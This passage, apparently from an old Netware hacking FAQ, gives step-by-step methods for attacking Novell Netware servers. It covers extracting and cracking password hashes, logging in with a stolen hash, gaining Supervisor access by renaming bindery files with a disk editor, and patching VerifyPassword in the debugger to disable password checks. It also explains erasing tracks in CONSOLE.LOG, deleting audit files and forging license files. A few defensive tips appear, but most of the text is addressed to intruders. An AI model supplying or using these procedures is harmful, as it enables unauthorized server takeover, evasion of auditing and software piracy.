  2994.   account names, and it will tell you if they are valid and even if they
  2995.   have no password. See http://www.nmrc.org/pandora/index.html
  2996.   <http://www.nmrc.org/pandora/index.html> for details.
  2997.  
  2998.  
  2999.  
  3000.   1177..  NNeettwwaarree PPaasssswwoorrddss
  3001.  
  3002.   This section deals with Netware passwords.
  3003.  
  3004.  
  3005.   1177..11..  HHooww ddoo II aacccceessss tthhee ppaasssswwoorrdd ffiillee iinn NNeettwwaarree??
  3006.  
  3007.   Contrary to not-so-popular belief, access to the password file in
  3008.   Netware is not like Unix - the password file isn't in the open. All
  3009.   objects and their properties are kept in the bindery files on 2.x and
  3010.   3.x, and kept in the NDS database in 4.x. An example of an object
  3011.   might be a printer, a group, an individual's account etc. An example
  3012.   of an object's properties might include an account's password or full
  3013.   user name, or a group's member list or full name. The bindery files
  3014.   attributes (or flags) in 2.x and 3.x are Hidden and System, and these
  3015.   files are located on the SYS: volume in the SYSTEM subdirectory. Their
  3016.   names are as follows:
  3017.  
  3018.  
  3019.           Netware version         File Names
  3020.           ---------------         ----------
  3021.           2.x                     NET$BIND.SYS, NET$BVAL.SYS
  3022.           3.x                     NET$OBJ.SYS, NET$PROP.SYS, NET$VAL.SYS
  3023.  
  3024.  
  3025.  
  3026.   The NET$BVAL.SYS and NET$VAL.SYS are where the passwords are actually
  3027.   located in 2.x and 3.x respectively.
  3028.  
  3029.   In Netware 4.x, the files are located in a different location on the
  3030.   SYS: volume. It is a hidden directory called _NETWARE. In this
  3031.   directory are located the NDS files, license files, and a number of
  3032.   other system-related files such as login scripts and auditing files.
  3033.  
  3034.  
  3035.  
  3036.  
  3037.           File                    What it is
  3038.           --------------          --------------------------
  3039.           VALUE.NDS               Object and property values
  3040.           BLOCK.NDS               Extended property values
  3041.           ENTRY.NDS               Object and property types
  3042.           PARTITIO.NDS            NDS partition info (replication info, etc.)
  3043.           MLS.000                 License file.
  3044.           VALINCEN.DAT            License validation
  3045.  
  3046.  
  3047.  
  3048.   To view the hidden SYS:_NETWARE directory, you can try to use RCONSOLE
  3049.   and the Scan Directory option, although later versions of Netware 4.x
  3050.   have patched this (starting with 410pt3). Here is another way to view
  3051.   these files, and potentially edit them. After installing NW4 on a NW3
  3052.   volume, reboot the server with a 3.x SERVER.EXE. On volume SYS will be
  3053.   the _NETWARE directory. SYS:_NETWARE is hidden better on 4.1 than
  3054.   4.0x, but in pre-410pt3 patched 4.1 you can still see the files by
  3055.   scanning directory entry numbers using NCP calls (you need the APIs
  3056.   for this) using function 0x17 subfunction 0xF3.
  3057.  
  3058.   Using JCMD.NLM, it is possible to access SYS:_NETWARE, and do many fun
  3059.   things, like copy NDS, etc. But what hackers have asked for is a way
  3060.   to access this directory WITHOUT uploading an NLM via RCONSOLE. You
  3061.   can try using NETBASIC.NLM (see the Netware Console Attacks section
  3062.   for details), and actually copy NDS files to a directory you can
  3063.   access (like SYS:PUBLIC).
  3064.  
  3065.  
  3066.   1177..22..  WWhhaatt''ss tthhee ffuullll ssttoorryy wwiitthh NNeettwwaarree ppaasssswwoorrddss??
  3067.  
  3068.   A Novell proprietary algorithm takes the password, and produces a 16
  3069.   byte hash. This algorithm is the same for versions 3.x and 4.x of
  3070.   Netware. The algorithm is also inside the LOGIN.EXE file used by the
  3071.   client when logging in. The details of the algorithm itself can be
  3072.   found in the CRYPT.TXT file included with Pandora (see
  3073.   http://www.nmrc.org/pandora/index.html
  3074.   <http://www.nmrc.org/pandora/index.html> for details).
  3075.  
  3076.   The 16 byte hash is stored within the bindery files in Netware 3.x and
  3077.   NDS in Netware 4.x. Since the object ID is used in the algorithm, it
  3078.   adds the equivalent of a ``salt''. This along with the fact that the
  3079.   password length plays into the algorithm increases the overhead in
  3080.   cracking multiple passwords at once.  Fortunately for the cracker,
  3081.   both the object ID and the password length are stored with the hash,
  3082.   along with that fact that lower case letters are converted to upper
  3083.   case before generating the hash does simplify the process slightly.
  3084.   Password crackers can brute force a little easier since they can
  3085.   eliminate trying lower case letters and concentrate on a particular
  3086.   password length.
  3087.  
  3088.  
  3089.   1177..33..  HHooww ddooeess ppaasssswwoorrdd ccrraacckkiinngg wwoorrkk wwiitthh NNeettwwaarree??
  3090.  
  3091.   Because of the complexity of the algorithm, using it the way it was
  3092.   designed is somewhat slow for cracking, especially by brute force.
  3093.   However the algorithm can be mathematically improved, and in fact WAS
  3094.   improved and optimized just for cracking purposes. See Jitsu-Disk's
  3095.   document CRYPT.TXT <http://www.nmrc.org/pandora/CRYPT.TXT> that was
  3096.   included with Pandora <http://www.nmrc.org/pandora/index.html> that
  3097.   details this. The algorithm is dozens of times faster than Novell's
  3098.   original code. However brute force is slow work with Netware, so only
  3099.   use it as a last resort, especially if you have a LOT of time.
  3100.  
  3101.   This is especially true with regards to the brute force crackers that
  3102.   attack from the client. Since you are dealing with the network itself,
  3103.   expect AT BEST about a password attempt a second from most network
  3104.   cracking utilities.
  3105.  
  3106.  
  3107.   1177..44..  HHooww ddooeess ppaasssswwoorrdd ccrraacckkiinngg wwoorrkk wwiitthh NNeettwwaarree??
  3108.  
  3109.   With Pandora v3.0 you have the fastest dictionary cracking available.
  3110.   And if you must attack from a client, make sure if you are using a
  3111.   cracker that you are using dictionary attacking.
  3112.  
  3113.   For Netware 3.x systems, consider using Al Grant's Bindery tool.
  3114.  
  3115.  
  3116.   1177..55..  CCaann aann SSyyss AAddmmiinn pprreevveenntt//ssttoopp NNeettwwaarree ppaasssswwoorrdd hhaasshh eexxttrraaccttiioonn??
  3117.  
  3118.   The best way for a Sys Admin to prevent Netware password hash
  3119.   extraction is to at least try the following:
  3120.  
  3121.  
  3122.   +o  Protect the server console. If the console is compromised, all bets
  3123.      are off. Don't use RCONSOLE at all. Go to the console to do any
  3124.      administrator-type work.
  3125.  
  3126.   +o  Protect administrative accounts. If one of these accounts are
  3127.      compromised, once again all bets are off. Use these accounts
  3128.      minimally from secured workstations.
  3129.  
  3130.   +o  Clean up after yourself. If you run a BINDFIX, DSMAINT, or
  3131.      DSREPAIR, remember that you are leaving files out there that
  3132.      passwords can be recovered from. Do your business, confirm you
  3133.      don't have to fall back using one of these leftover files and then
  3134.      delete and purge them.
  3135.  
  3136.   You see, once the server has been compromised, sometimes not even
  3137.   completely, there will be NOTHING to stop unwanted password recovery.
  3138.   Hackers, just do the opposite of the above items and you'll be fine
  3139.   ;-)
  3140.  
  3141.  
  3142.   1177..66..  CCaann II rreesseett aann NNDDSS ppaasssswwoorrdd wwiitthh jjuusstt lliimmiitteedd rriigghhttss??
  3143.  
  3144.   There is a freeware utility called N4PASS, that is meant for Netware
  3145.   4.10 (uses NDS calls and is not bindery based). The intention of this
  3146.   package is to enable a Help Desk to reset passwords for users without
  3147.   granting them tons of rights. It uses full logging and does not
  3148.   require massive ACL manipulation to do it.
  3149.  
  3150.   Obviously being set up to use this utility opens a few doors. The
  3151.   filename is N4PA12.EXE, and can be retrieved from the author's web
  3152.   site at http://fastlane.net/homepages/dcollins and the author can be
  3153.   reached at dcollins@fastlane.net.
  3154.  
  3155.   A couple of interesting things about this utility -- if configured
  3156.   incorrectly the server may be compromised in a number of ways. For
  3157.   instance, the password generated is a calculation that uses a 'temp
  3158.   filename', the date, the user's loginname, helpdesk login name, seed
  3159.   value, and a few other items.  (its in the n4pass.txt file)
  3160.  
  3161.   N4PASS is not set to purge immediately, the file is salvagable. Also,
  3162.   if the rights to the N4PASS directory are too open, you can discover
  3163.   the default password, among other things. The text file included with
  3164.   the utility covers this, so read it carefully if you are installing
  3165.   it. If you are hacking, read it carefully too ;-)
  3166.  
  3167.   It is critical that access to the sys:\n4pass\password is secure since
  3168.   any 'temp file' (.1st extension) can cause the 'password reset' for
  3169.   the person listed in the 'temp file'.
  3170.  
  3171.  
  3172.   1177..77..  WWhhaatt iiss OOSS22NNTT..NNLLMM??
  3173.  
  3174.   OS2NT.NLM is a Novell-supplied NLM for recovering/fixing Admin, like
  3175.   after it becomes an Unknown object, as opposed to User -- especially
  3176.   after a DSREPAIR. This module is considered a "last resort" NLM and
  3177.   you must contact Novell to use it. While I haven't seen it, it is
  3178.   supposed to be on one of Novell's FTP sites. It supposedly is
  3179.   customized by Novell to work with your serial number and is a one-time
  3180.   use NLM. You have to prove to Novell who you are and that your copy of
  3181.   Netware is registered.
  3182.  
  3183.   I would suspected it is possible that this NLM could be hacked to get
  3184.   around the one-time use and serial number/password thing, but a
  3185.   restore of NDS from a good backup would accomplish things better. This
  3186.   way is a little destructive.
  3187.  
  3188.  
  3189.   1177..88..  HHooww ddooeess ppaasssswwoorrdd eennccrryyppttiioonn wwoorrkk??
  3190.  
  3191.   From itsme -
  3192.  
  3193.  
  3194.   the password encryption works as follows:
  3195.    1- the workstation requests a session key from the server
  3196.        (NCP-17-17)
  3197.    2- the server sends a unique 8 byte key to the workstation
  3198.  
  3199.    3- the workstation encrypts the password with the userid,
  3200.        - this 16 byte value is what is stored in the bindery on the server
  3201.  
  3202.    4- the WS then encrypts this 16 byte value with the 8 byte session key
  3203.       resulting in 8 bytes, which it sends to the server
  3204.        (NCP-17-18 = login), (NCP-17-4a = verify pw) (NCP-17-4b = change pw)
  3205.  
  3206.    5- the server performs the same encryption, and compares its own result
  3207.       with that sent by the WS
  3208.  
  3209.   -> the information contained in the net$*.old files which can be found
  3210.      in the system directory after bindfix was run, is enough to login
  3211.      to the server as any object. just skip step 3
  3212.  
  3213.  
  3214.  
  3215.  
  3216.   1177..99..  CCaann II llooggiinn wwiitthhoouutt aa ppaasssswwoorrdd??
  3217.  
  3218.   If you have acquired the one-way hash from Bindery or NDS files, you
  3219.   have enough info to login without password, as stated by Itsme in the
  3220.   previous section. Pandora v3.0 includes tools for accomplishing this
  3221.   -- see http://www.nmrc.org/pandora/index.html
  3222.   <http://www.nmrc.org/pandora/index.html> for details.
  3223.  
  3224.  
  3225.   1177..1100..  WWhhaatt''ss wwiitthh WWiinnddoowwss 9955 aanndd NNeettwwaarree ppaasssswwoorrddss??
  3226.  
  3227.   Windows 95 has its own password file, and uses this file to store
  3228.   passwords to Windows 95 itself as well as Netware and NT servers. The
  3229.   problem here is that the PWL file is easily cracked by brute force, by
  3230.   using exploit code readily available on the Internet. To keep this
  3231.   from happening either Service Pack 1 should be applied (see Microsoft)
  3232.   or disable password caching.
  3233.  
  3234.  
  3235.   But you can still access the WIN386.SWP file. Either using a disk
  3236.   utility like DiskEdit from Norton or by booting from DOS, you can
  3237.   access the swap file and scan it for the password in plaintext. Look
  3238.   for a string like nwcs and the password will follow that.
  3239.  
  3240.  
  3241.  
  3242.   1188..  NNeettwwaarree CCoonnssoollee AAttttaacckkss
  3243.  
  3244.   This section deals with attacking at the Netware Console.
  3245.  
  3246.  
  3247.   1188..11..  WWhhaatt''ss tthhee ""sseeccrreett"" wwaayy ttoo ggeett SSuuppee aacccceessss NNoovveellll oonnccee ttaauugghhtt
  3248.   CCNNEE''ss??
  3249.  
  3250.   Before I start this section, let me recommend another solution, my
  3251.   God, ANY other solution is better than this!  If you are running 3.x,
  3252.   jump to the end of this section.
  3253.  
  3254.   The secret method is the method of using a DOS-based sector editor to
  3255.   edit the entry in the FAT, and reset the bindery to default upon
  3256.   server reboot. This gives you Supervisor and Guest with no passwords.
  3257.   The method was taught in case you lost Supervisor on a Netware 2.15
  3258.   server and you had no supe equivalent accounts created. It also saves
  3259.   the server from a wipe and reboot in case the Supervisor account is
  3260.   corrupt, deleted, or trashed.
  3261.  
  3262.   While you get a variety of answers from Novell about this technique,
  3263.   from it doesn't work to it is technically impossible, truth be it it
  3264.   can be done. Here are the steps, as quoted from
  3265.   comp.os.netware.security, with my comments in [brackets]:
  3266.  
  3267.   [start of quote] A Netware Server is supposed to be a very safe place
  3268.   to keep your files. Only people with the right password will have
  3269.   access to the data stored there. The Supervisor (or Admin) user's
  3270.   password is usually the most well kept secret in the company, since
  3271.   anyone that has that code could simply log to the server and do
  3272.   anything he/she wants.
  3273.  
  3274.   But what happens if this password is lost and there's no user that is
  3275.   security-equivalent to the supervisor? [Use SETPWD.NLM, instead of
  3276.   this process, see section 02-5 - S.N.] What happens if the password
  3277.   system is somehow damaged and no one can log to the network? According
  3278.   to the manual, there's simply no way out. You would have to reinstall
  3279.   the server and try to find your most recent backup.
  3280.  
  3281.   Fortunately, there is a very interesting way to gain complete access
  3282.   to a Netware server without knowing the Supervisor's (or Admin's)
  3283.   password. You may imagine that you would have to learn complex
  3284.   decryption techniques or even type in a long C program, but that's not
  3285.   the case. The trick is so simple and generic that it will work the
  3286.   same way for Netware 2.x, 3.x and 4.x.
  3287.  
  3288.   The idea is to fool Netware to think that you have just installed the
  3289.   server and that no security system has been estabilished yet. Just
  3290.   after a Netware 2.x or 3.x server is installed, the Supervisor's
  3291.   password is null and you can log in with no restriction. Netware 4.x
  3292.   works slightly differently, but it also allows anyone to log in after
  3293.   the initial installation, since the installer is asked to enter a
  3294.   password for the Admin user.
  3295.  
  3296.   But how can you make the server think it has just been installed
  3297.   without actually reinstalling the server and losing all data on the
  3298.   disk? Simple. You just delete the files that contain the security
  3299.   system. In Netware 2.x, all security information is stored in two
  3300.   files (NET$BIND.SYS and NET$BVAL.SYS). Netware 3.x stores that
  3301.   information in three files (NET$OBJ.SYS, NET$VAL.SYS and
  3302.   NET$PROP.SYS). The all new Netware 4.x system stores all login names
  3303.   and passwords in five different files (PARTITIO.NDS, BLOCK.NDS,
  3304.   ENTRY.NDS, VALUE.NDS and UNINSTAL.NDS [This last file may not be
  3305.   there, don't worry - S.N.]).
  3306.  
  3307.   One last question remains. How can we delete these files if we don't
  3308.   have access to the network, anyway? The answer is, again, simple.
  3309.   Altough the people from Novell did a very good job encrypting
  3310.   passwords, they let all directory information easy to find and change
  3311.   if you can access the server's disk directly, using common utilities
  3312.   like Norton's Disk Edit. Using this utility as an example, I'll give a
  3313.   step-by-step procedure to make these files vanish. All you need is a
  3314.   bootable DOS disk, Norton Utilities' Emergency Disk containing the
  3315.   DiskEdit program and some time near the server.
  3316.  
  3317.   1. Boot the server and go to the DOS prompt. To do this, just let the
  3318.   network boot normally and then use the DOWN and EXIT commands. This
  3319.   procedure does not work on old Netware 2.x servers and in some
  3320.   installations where DOS has been removed from memory. In those cases,
  3321.   you'll have to use a DOS bootable disk.
  3322.  
  3323.   2. Run Norton's DiskEdit utility from drive A:
  3324.  
  3325.   3. Select "Tools" in the main menu and then select "Configuration". At
  3326.   the configuration window, uncheck the "Read-Only" checkbox. And be
  3327.   very careful with everything you type after this point.
  3328.  
  3329.   4. Select "Object" and then "Drive". At the window, select the C:
  3330.   drive and make sure you check the button "physical drive". After that,
  3331.   you'll be looking at your physical disk and you be able to see (and
  3332.   change) everything on it.
  3333.  
  3334.   5. Select "Tools" and then "Find". Here, you'll enter the name of the
  3335.   file you are trying to find. Use "NET$BIND" for Netware 2,
  3336.   "NET$PROP.SYS" for Netware 3 and "PARTITIO.NDS" for Netware 4. It is
  3337.   possible that you find these strings in a place that is not the
  3338.   Netware directory. If the file names are not all near each other and
  3339.   proportionaly separated by some unreadable codes (at least 32 bytes
  3340.   between them), then you it's not the place we are looking for. In that
  3341.   case, you'll have to keep searching by selecting "Tools" and then
  3342.   "Find again". [In Netware 3.x, you can change all occurences of the
  3343.   bindery files and it should still work okay, I've done it before. -
  3344.   S.N.]
  3345.  
  3346.   6. You found the directory and you are ready to change it. Instead of
  3347.   deleting the files, you'll be renaming them.  This will avoid problems
  3348.   with the directory structure (like lost FAT chains). Just type "OLD"
  3349.   over the existing "SYS" or "NDS" extension. Be extremely careful and
  3350.   don't change anything else.
  3351.  
  3352.   7. Select "Tools" and then "Find again". Since Netware store the
  3353.   directory information in two different places, you have to find the
  3354.   other copy and change it the same way. This will again prevent
  3355.   directory structure problems.
  3356.  
  3357.   8. Exit Norton Disk Edit and boot the server again. If you're running
  3358.   Netware 2 or 3, your server would be already accessible. Just go to
  3359.   any station and log in as user Supervisor. No password will be asked.
  3360.   If you're running Netware 4, there is one last step.
  3361.  
  3362.   9. Load Netware 4 install utility (just type LOAD INSTALL at the
  3363.   console prompt) and select the options to install the Directory
  3364.   Services. You be prompted for the Admin password while doing this.
  3365.   After that, you may go to any station and log in as user Admin, using
  3366.   the password that you have selected.
  3367.   What I did with Norton's Disk Edit could be done with any disk editing
  3368.   utility with a "Search" feature. This trick has helped me save many
  3369.   network supervisors in the last years. I would just like to remind you
  3370.   that no one should break into a netware server unless authorized to do
  3371.   it by the company that owns the server. But you problably know that
  3372.   already. [end of quote]
  3373.  
  3374.   I actually had this typed up but kept changing it, so I stole this
  3375.   quote from the newsgroup to save me retyping ;-)
  3376.  
  3377.   Now the quicky for 3.x users. Use LASTHOPE.NLM, which renames the
  3378.   bindery and downs the server. Reboot and you have Supe and Guest, no
  3379.   password.
  3380.  
  3381.  
  3382.   1188..22..  HHooww ddoo II uussee SSEETTPPWWDD..NNLLMM??
  3383.  
  3384.   You can load SETPWD at the console or via RCONSOLE. If you use
  3385.   RCONSOLE, use the Transfer Files To Server option and put the file in
  3386.   SYS:SYSTEM.
  3387.  
  3388.   For 3.x: LOAD [path if not in SYS:SYSTEM]SETPWD [username]
  3389.   [newpassword]
  3390.  
  3391.   For 4.x: set bindery context = [context, e.g. hack.corp.us] LOAD [path
  3392.   if not in SYS:SYSTEM]SETPWD [username] [newpassword]
  3393.  
  3394.   In 4.x the change is replicated so you have access to all the other
  3395.   servers in the tree. And don't forget, you must follow the password
  3396.   requirements for this to work -- if the account you are changing
  3397.   normally requires a 6 character password, then you'll need to supply a
  3398.   6 character password.
  3399.  
  3400.  
  3401.   1188..33..  II ddoonn''tt hhaavvee SSEETTPPWWDD..NNLLMM oorr aa ddiisskk eeddiittoorr.. HHooww ccaann II ggeett SSuuppee
  3402.   aacccceessss??
  3403.  
  3404.   If you have two volumes or some unallocated disk space you can use
  3405.   this hack to get Supe. Of course you need physical access but it
  3406.   works. I got this from a post in comp.os.security.netware
  3407.  
  3408.  
  3409.     - Dismount all volumes
  3410.     - Rename SYS: to SYSOLD:
  3411.     - Rename VOL1: (or what ever) to SYS: or create new SYS: on new disk
  3412.     - Reboot server
  3413.     - Mount SYS: and SYSOLD:
  3414.     - Attach to server as Supervisor (Note: login not available)
  3415.     - Rename SYSOLD:SYSTEM\NET$***.SYS to NET$****.OLD
  3416.     - Dismount volumes
  3417.     - Rename volume back to correct names
  3418.     - Reboot server
  3419.     - Login as Supervisor, no password due to new bindery
  3420.     - Run BINDREST
  3421.     - You are currently logged in as Supe, you can create a new user as
  3422.       Supe equiv and use this new user to reset Supe's password, whatever.
  3423.  
  3424.  
  3425.  
  3426.  
  3427.   1188..44..  WWhhaatt''ss tthhee ""ddeebbuugg"" wwaayy ttoo ddiissaabbllee ppaasssswwoorrddss??
  3428.  
  3429.   You must be at the console to do this:
  3430.  
  3431.  
  3432.  
  3433.   /left-shift//right-shift//alt//esc/          Enters Debugger
  3434.   type "d VerifyPassword 6"    Write down 6 byte response for later use
  3435.   type "c Verifypassword=B8 0 0 0 0 C3"    Sets system to turn off pword checks
  3436.   type "g"    To make the system change and drop you back into the console
  3437.  
  3438.  
  3439.  
  3440.   to turn password checking back on...
  3441.  
  3442.  
  3443.   /left-shift//right-shift//alt//esc/          Enters Debugger
  3444.   type "c VerifyPassword= xx xx xx xx xx xx"   Where xx's are the previous
  3445.   recorded numbers that where written down.
  3446.   type "g"   To make system changes and drop you back to into the console
  3447.  
  3448.  
  3449.  
  3450.   Teiwaz updated these steps to make things easier and workable. And one
  3451.   other note -- this will NOT disable password checking in 4.x.
  3452.   Sorry....
  3453.  
  3454.  
  3455.   1188..55..  HHooww ddoo II ddeeffeeaatt ccoonnssoollee llooggggiinngg??
  3456.  
  3457.   Here you need console and Supervisor access. The site is running 3.11
  3458.   or higher and running the CONLOG.NLM. Any site running this is
  3459.   trapping all console messages to a file. If you run SETPWD at the
  3460.   console, the response by SETPWD is written to a log file. Here's the
  3461.   steps for determining if it is running and what to do to defeat it:
  3462.  
  3463.  
  3464.   +o  Type MODULES at the console. Look for the CONLOG.NLM. If it's
  3465.      there, it's running.
  3466.  
  3467.   +o  Look on the server in SYS:ETC for a file called CONSOLE.LOG. This
  3468.      is a plain text file that you can type out. However you cannot
  3469.      delete or edit it while CONLOG is running.
  3470.  
  3471.   +o  Unload CONLOG at the console.
  3472.  
  3473.   +o  Delete, or even better yet, edit the CONSOLE.LOG file, erasing your
  3474.      tracks.
  3475.  
  3476.   +o  Reload CONLOG. It will show that is has been restarted in the log.
  3477.  
  3478.   +o  Check the CONSOLE.LOG file to ensure the owner has not changed.
  3479.  
  3480.   +o  Run PURGE in the SYS:ETC directory to purge old versions of
  3481.      CONSOLE.LOG that your editor have left to be salvaged.
  3482.  
  3483.  
  3484.   1188..66..  CCaann II sseett tthhee RRCCOONNSSOOLLEE ppaasssswwoorrdd ttoo wwoorrkk ffoorr jjuusstt SSuuppeerrvviissoorr??
  3485.  
  3486.   Yes and no. In version 3.x, the Supe password always works.
  3487.  
  3488.   A common mistake regarding 3.x RCONSOLE passwords is to use a switch
  3489.   to use only the Supervisor password. It works like this:
  3490.  
  3491.  
  3492.   LOAD REMOTE /P=
  3493.  
  3494.  
  3495.  
  3496.   instead of
  3497.  
  3498.  
  3499.   LOAD REMOTE RCONPASSWORD
  3500.  
  3501.  
  3502.  
  3503.   The admin believes /P= turns off everything except the Supe password
  3504.   for RCONSOLE. In fact the password is just set to /P= which will get
  3505.   you in!  The second most common mistake is using -S, and the third is
  3506.   "".
  3507.  
  3508.   Version 4.1 is a bit different. Here's how it works:
  3509.  
  3510.  
  3511.   +o  At the console prompt, type LOAD REMOTE SECRET where SECRET is the
  3512.      Remote Console password.
  3513.  
  3514.   +o  Now type REMOTE ENCRYPT. You will be prompted for a password to
  3515.      encrypt.
  3516.  
  3517.   +o  This will give you the encrypted version of the password, and give
  3518.      you the option of writing LDREMOTE.NCF to the SYS:SYSTEM directory,
  3519.      containing all the entries for loading Remote Console support.
  3520.  
  3521.   +o  You can call LDREMOTE from your AUTOEXEC.NCF, or you can change the
  3522.      LOAD REMOTE line in the AUTOEXEC.NCF as follows:
  3523.  
  3524.  
  3525.   LOAD REMOTE SECRET
  3526.  
  3527.  
  3528.  
  3529.   becomes
  3530.  
  3531.  
  3532.   LOAD REMOTE -E 870B7E366363
  3533.  
  3534.  
  3535.  
  3536.   Another note - to ensure that Supervisor's password will work with
  3537.   RCONSOLE (Netware 4.02 or higher), add the hidden -US switch:
  3538.  
  3539.  
  3540.   LOAD REMOTE -E 870B7E366363 -US
  3541.  
  3542.  
  3543.  
  3544.   Another undocumented switch is -NP which is No Password!
  3545.  
  3546.  
  3547.   1188..77..  HHooww ccaann II ggeett aarroouunndd aa lloocckkeedd MMOONNIITTOORR??
  3548.  
  3549.   There is a simple and easy way to do this in 3.11 if you have a print
  3550.   server running on the file server. The following exploits a bug in
  3551.   3.11:
  3552.  
  3553.  
  3554.   +o  Use pconsole to down the print server. This causes the monitor
  3555.      screen to go to the print server screen and wait for you to press
  3556.      enter to exit the screen. At the same time it puts the monitor
  3557.      screen in the background.
  3558.  
  3559.   +o  Switch to the console screen and type UNLOAD MONITOR.
  3560.  
  3561.   +o  Check the AUTOEXEC.NCF for the PSERVER.NLM load line and manually
  3562.      reload the PSERVER.NLM.
  3563.  
  3564.  
  3565.   For both Netware 3.x and 4.x, try the debug disable steps as outlined
  3566.   earlier. You can type any password in to unlock the console, besides
  3567.   disabling 3.x password protection altogether.
  3568.  
  3569.   For Netware 4.x, try this from the console:
  3570.  
  3571.  
  3572.   Enter the debugger and type in "g VerifyPassword".
  3573.   Then hit enter to break back to the debugger.
  3574.   That should return you to the console.
  3575.   Then type in "g [desp]" and hit enter.
  3576.   Wait a few seconds and you're back in the debugger.
  3577.   Type in "eax=0" and hit enter, and then type "g" and enter.
  3578.   The console is now unlocked.
  3579.  
  3580.  
  3581.  
  3582.  
  3583.   1188..88..  WWhheerree aarree tthhee LLooggiinn SSccrriippttss ssttoorreedd iinn NNeettwwaarree 44..xx aanndd ccaann II
  3584.   eeddiitt tthheemm??
  3585.  
  3586.   The Login Scripts are stored in, you guessed it, SYS:_NETWARE. Unlike
  3587.   the binary files used in NDS, these files are completely editable by
  3588.   using EDIT.NLM. Doing an RCONSOLE directory scan in SYS:_NETWARE will
  3589.   turn up files with extensions like .000, these are probably Login
  3590.   Scripts.  Pull up a few, they are plain text files. For example, you
  3591.   found 00021440.000:
  3592.  
  3593.  
  3594.         LOAD EDIT SYS:_NETWARE\00021440.000
  3595.  
  3596.  
  3597.  
  3598.   If it is a Login Script, you will see it in plain english and you can
  3599.   certainly edit and save it. This completely bypasses NDS security, and
  3600.   is the main weakness. You can use this to grant a user extra rights
  3601.   that can lead to a number of compromises, including full access to the
  3602.   file system of any server in the tree.
  3603.  
  3604.  
  3605.   1188..99..  WWhhaatt iiff II ccaann''tt sseeee SSYYSS::__NNEETTWWAARREE??
  3606.  
  3607.   Starting with Novell's 410pt3 patch you can no longer see the _NETWARE
  3608.   from RCONSOLE. This is hardly surprising as the ability to look into
  3609.   this directory has become increasingly difficult with each release of
  3610.   patches.
  3611.  
  3612.   With Netware 4.11 you can't see it at all with RCONSOLE. Although with
  3613.   patch level IWSP5 one is able to see SYS:_NETWARE from RCONSOLE's
  3614.   "Directory Scan" function.
  3615.  
  3616.  
  3617.   1188..1100..  SSoo hhooww ddoo II aacccceessss SSYYSS::__NNEETTWWAARREE??
  3618.  
  3619.   Using JCMD.NLM (see the Resources section), it is possible to access
  3620.   SYS:_NETWARE, and do many fun things, like copy NDS, etc. But what
  3621.   hackers have asked for is a way to access this directory WITHOUT
  3622.   uploading an NLM via RCONSOLE. So here it is.
  3623.  
  3624.   Starting with the Green River beta software, Novell licensed
  3625.   NETBASIC.NLM (actually, everything in the SYS:NETBASIC directory) from
  3626.   HiTecSoft, Inc. HiTecSoft is really cool -- it allows some
  3627.   sophisticated apps to be developed with a Visual-Basic-type
  3628.   environment, including NLMs without using Watcom's compiler and
  3629.   linker.
  3630.  
  3631.   When you load up NETBASIC.NLM, you type "shell" and you get a DOS-
  3632.   styled shell. It is actually still an NLM, but the "commands" include
  3633.   DOS-like commands like cd, dir, copy, etc. So the trick is to simply
  3634.   "cd _NETWARE" and bingo -- you're in. At this point you can do all
  3635.   kinds of fun things. Remember, you can still use JCMD.NLM, but the
  3636.   point is that this is kind of "built in". Fun things to do include -
  3637.  
  3638.  
  3639.    - Make copies of any of the files, including the license(s), NDS, login
  3640.      scripts, auditing files, etc.
  3641.    - Copy these files to SYS:LOGIN and you can copy them off the server
  3642.      WITHOUT logging in.
  3643.    - Copy off the license file (MLS.000) and play around with a hex editor.
  3644.      Copy up the modified file and name it MLS.001 and you've doubled your
  3645.      license count (bear in mind this is illegal).
  3646.    - Modify login scripts for fun, profit, and gaining extra rights.
  3647.    - Poke around with auditing files, even delete NET$AUDT.CAF and files
  3648.      with an extension of .$AF in case your auditor forgot their password.
  3649.  
  3650.  
  3651.  
  3652.   Thanks to the members of SIC (Hardware, Cyberius, and Jungman) for
  3653.   discovering the NETBASIC hole, and pointing out all of the license
  3654.   info.
  3655.  
  3656.  
  3657.   1188..1111..  HHooww ccaann II bboooott mmyy sseerrvveerr wwiitthhoouutt rruunnnniinngg
  3658.   SSTTAARRTTUUPP..NNCCFF//AAUUTTOOEEXXEECC..NNCCFF??
  3659.  
  3660.   For Netware 3.xx, use these command-line options:
  3661.  
  3662.   SERVER -NS to skip STARTUP.NCF, and
  3663.  
  3664.   SERVER -NA to skip AUTOEXEC.NCF
  3665.  
  3666.   NetWare 2.x does not HAVE the files STARTUP.NCF and AUTOEXEC.NCF.
  3667.   Instead they hard-code all the information into NET$OS.EXE, so you
  3668.   will have to rebuild it to change anything.
  3669.  
  3670.  
  3671.   1188..1122..  WWhhaatt eellssee ccaann bbee ddoonnee wwiitthh ccoonnssoollee aacccceessss??
  3672.  
  3673.   If a user in any context of a tree has Supervisor rights to a single
  3674.   server, anyone with console access to that server can gain Admin Admin
  3675.   rights. Remote servers in remote offices are likely candidates for
  3676.   this. Here's how to do this:
  3677.  
  3678.  
  3679.   +o  Attacker sets Bindery Context to match the user ID with Supervisor
  3680.      rights to the server.
  3681.  
  3682.   +o  Attacker sets a Bindery Context to match another user with greater
  3683.      priviledges, such as Admin.
  3684.  
  3685.   +o  Attacker resets password of the user ID with Supe rights to the
  3686.      server(unless the Attacker happens to BE the user with the Supe
  3687.      rights, say if the attacker is a temp contractor managing tape
  3688.      backups).
  3689.  
  3690.   +o  Attacker forces a bindery login to the server.
  3691.  
  3692.   +o  Attacker uses SYSCON to either change the password of another
  3693.      user's account with the extra priviladges or makes himself security
  3694.      equiv to a tree.
  3695.  
  3696.  
  3697.   +o  Attacker logs out and back in via regular NDS.
  3698.  
  3699.   To defeat this, a sys admin needs to make sure there are no replicas
  3700.   with sensative accounts on remote servers.
  3701.  
  3702.  
  3703.  
  3704.   1199..  NNeettwwaarree CClliieenntt AAttttaacckkss
  3705.  
  3706.   This section deals with attacking Netware remotely.
  3707.  
  3708.  
  3709.   1199..11..  WWhhaatt iiss tthhee cchheeeessyy wwaayy ttoo ggeett SSuuppeerrvviissoorr aacccceessss??
  3710.  
  3711.   The cheesy way is the way that will get you in, but it will be obvious
  3712.   to the server's admin that the server has been compromised. This
  3713.   technique works for 3.11.
  3714.  
  3715.   Using NW-HACK.EXE, if the Supervisor is logged in NW-HACK does the
  3716.   following things. 1) The Supervisor password is changed to
  3717.   SUPER_HACKER, 2) every account on the server is made a supe
  3718.   equivalent, and 3) the sys admin is going to know very quickly
  3719.   something is wrong. What the admin will do is remove the supe rights
  3720.   from all accounts that are not supposed to have it and change the
  3721.   Supervisor password back. The only thing you can do is leave a
